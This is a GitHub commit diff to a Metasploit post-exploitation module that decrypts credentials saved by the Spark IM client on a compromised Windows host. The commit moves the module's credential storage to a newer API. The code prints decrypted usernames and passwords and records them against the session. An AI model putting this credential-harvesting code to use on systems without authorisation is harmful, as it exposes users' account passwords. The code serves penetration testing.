Skip to content

Commit a39539f

Browse files
committed
Land rapid7#5457, @wchen-r7 updates spark_im to use the new cred API
2 parents 25aa96c + 28556ea commit a39539f

File tree

1 file changed

+38
-14
lines changed

1 file changed

+38
-14
lines changed

modules/post/windows/gather/credentials/spark_im.rb

Lines changed: 38 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -49,30 +49,54 @@ def decrypt(hash)
4949
password = ::Rex::Text.to_utf8(password)
5050

5151
user, pass = password.scan(/[[:print:]]+/)
52+
cred_opts = {}
5253
if pass.nil? or pass.empty?
5354
print_status("Username found: #{user}, but no password")
54-
pass = ''
55+
cred_opts.merge!(user: user)
5556
else
5657
print_good("Decrypted Username #{user} Password: #{pass}")
58+
cred_opts.merge!(user: user, password: pass)
5759
end
5860

59-
store_creds(user, pass)
61+
cred_opts.merge!(
62+
ip: client.sock.peerhost,
63+
port: 5222,
64+
service_name: 'spark'
65+
)
66+
67+
report_cred(cred_opts)
6068
end
6169

62-
def store_creds(user, pass)
63-
if db
64-
report_auth_info(
65-
:host => client.sock.peerhost,
66-
:port => 5222,
67-
:ptype => 'password',
68-
:sname => 'spark',
69-
:user => user,
70-
:pass => pass,
71-
:duplicate_ok => true,
72-
:active => true
70+
def report_cred(opts)
71+
service_data = {
72+
address: opts[:ip],
73+
port: opts[:port],
74+
service_name: opts[:service_name],
75+
protocol: 'tcp',
76+
workspace_id: myworkspace_id
77+
}
78+
79+
credential_data = {
80+
module_fullname: fullname,
81+
post_reference_name: self.refname,
82+
session_id: session_db_id,
83+
origin_type: :session,
84+
username: opts[:user],
85+
private_type: :password
86+
}.merge(service_data)
87+
88+
if opts[:password]
89+
credential_data.merge!(
90+
private_data: opts[:password],
7391
)
74-
print_status("Loot stored in the db")
7592
end
93+
94+
login_data = {
95+
core: create_credential(credential_data),
96+
status: Metasploit::Model::Login::Status::UNTRIED,
97+
}.merge(service_data)
98+
99+
create_credential_login(login_data)
76100
end
77101

78102
# main control method

0 commit comments

Comments
 (0)